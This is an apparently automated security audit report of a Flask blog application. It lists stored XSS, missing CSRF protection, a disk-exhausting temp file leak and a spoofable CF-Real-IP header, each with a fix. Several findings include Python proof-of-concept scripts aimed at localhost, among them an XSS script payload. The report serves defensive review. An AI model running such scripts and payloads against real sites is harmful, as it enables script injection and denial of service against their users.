Security Analysis Report - 2025-05-14

ai/security_report_2025-05-14_blog-eletrix-fr.md

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+====
+
+Auto Security Analysis of blog-eletrix-fr at 2025-05-14
+CRITICAL - Stored Cross-Site Scripting (XSS)
+The blog application is vulnerable to Stored XSS because it renders user-provided content using the Jinja2 `|safe` filter without any prior sanitization. An attacker with access to the `create_post` route (which is also vulnerable to CSRF) can submit malicious JavaScript that will be executed in the context of any user who views the affected blog post. This can lead to session hijacking, defacement, or redirection to malicious sites.
+
+PoC
+```python
+import requests
+
+def test_xss():
+    session = requests.Session()
+    # Login
+    login_data = {'username': 'admin', 'password': 'admin'}
+    session.post('http://127.0.0.1:5000/login', data=login_data)
+
+    # Create post with XSS
+    xss_payload = '<script>alert("XSS")</script>'
+    post_data = {
+        'title': 'XSS_Test',
+        'author': 'hacker',
+        'tags': 'xss',
+        'content': f'This is a test post with XSS: {xss_payload}'
+    }
+    session.post('http://127.0.0.1:5000/create_post', data=post_data)
+
+    # Verify XSS
+    response = requests.get('http://127.0.0.1:5000/post/XSS_Test')
+    if xss_payload in response.text:
+        print("XSS Vulnerability Confirmed!")
+    else:
+        print("XSS Vulnerability Not Found.")
+
+if __name__ == "__main__":
+    test_xss()
+```
+
+Fix
+Remove the `|safe` filter in `post.html` to allow Jinja2's default auto-escaping to handle the content. Alternatively, use a library like `bleach` to sanitize the HTML generated by `markdown2` before passing it to the template.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2025-05-14
+MEDIUM - Lack of CSRF Protection
+The application does not implement Cross-Site Request Forgery (CSRF) protection on state-changing routes such as `/login`, `/create_post`, and `/upload`. This allows an attacker to perform actions on behalf of a logged-in administrator by tricking them into visiting a malicious website. Combined with the Stored XSS vulnerability, this could be used to compromise the entire blog.
+
+PoC
+The absence of a CSRF token in the forms and lack of server-side validation can be verified by observing that a simple POST request from an external source (given an active session) successfully performs the action.
+
+Fix
+Use the `Flask-WTF` extension to implement CSRF protection across the application.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2025-05-14
+LOW - Denial of Service (DoS) via Temp File Leakage
+The `/upload` route is vulnerable to a low-severity DoS attack. When a non-image file is uploaded, the `utils.add_watermark` function (which uses Pillow) fails. Since the cleanup code `os.remove(temp_path)` is placed after this call, it is never executed if an exception occurs. An attacker could repeatedly upload large non-image files to exhaust the server's disk space.
+
+PoC
+```python
+import requests
+import os
+
+def test_dos_upload():
+    session = requests.Session()
+    # Login
+    login_data = {'username': 'admin', 'password': 'admin'}
+    session.post('http://127.0.0.1:5000/login', data=login_data)
+
+    # Upload a non-image file
+    files = {'file': ('test.txt', 'This is not an image.')}
+    response = session.post('http://127.0.0.1:5000/upload/', files=files)
+
+    # Check if the file still exists in temp_uploads
+    temp_files = os.listdir('./temp_uploads')
+    if 'test.txt' in temp_files:
+        print("DoS (Temp file leakage) confirmed!")
+    else:
+        print("DoS (Temp file leakage) not found.")
+
+if __name__ == "__main__":
+    if not os.path.exists('./temp_uploads'):
+        os.makedirs('./temp_uploads')
+    test_dos_upload()
+```
+
+Fix
+Use a `try...finally` block in `routes/upload.py` to ensure that the temporary file is deleted regardless of whether the watermark process succeeds or fails.
+
+====
+
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2025-05-14
+LOW - IP Spoofing via CF-Real-IP Header
+The application trusts the `CF-Real-IP` header provided in the request to determine the user's IP address. This header can be easily spoofed by an attacker, allowing them to bypass IP-based restrictions or inject false information into logs and templates.
+
+PoC
+```python
+import requests
+
+def test_ip_spoofing():
+    spoofed_ip = '8.8.8.8'
+    headers = {'CF-Real-IP': spoofed_ip}
+    response = requests.get('http://127.0.0.1:5000/', headers=headers)
+
+    # The vulnerability resides in app.py within the inject_variables context processor.
+    # It blindly trusts the CF-Real-IP header, which can be verified by observing
+    # that any value provided in this header is accepted and processed by the application.
+    if response.status_code == 200:
+        print(f"Trusting CF-Real-IP: {spoofed_ip} confirmed.")
+
+if __name__ == "__main__":
+    test_ip_spoofing()
+```
+
+Fix
+Only trust the `CF-Real-IP` header if the request is coming from a known and trusted proxy (like Cloudflare). Use `werkzeug.middleware.proxy_fix.ProxyFix` for a more robust solution.
+
+====
+
+Summary:
+
+| Severity | Exploit Name |
+| --- | --- |
+| CRITICAL | Stored Cross-Site Scripting (XSS) |
+| MEDIUM | Lack of CSRF Protection |
+| LOW | Denial of Service (DoS) via Temp File Leakage |
+| LOW | IP Spoofing via CF-Real-IP Header |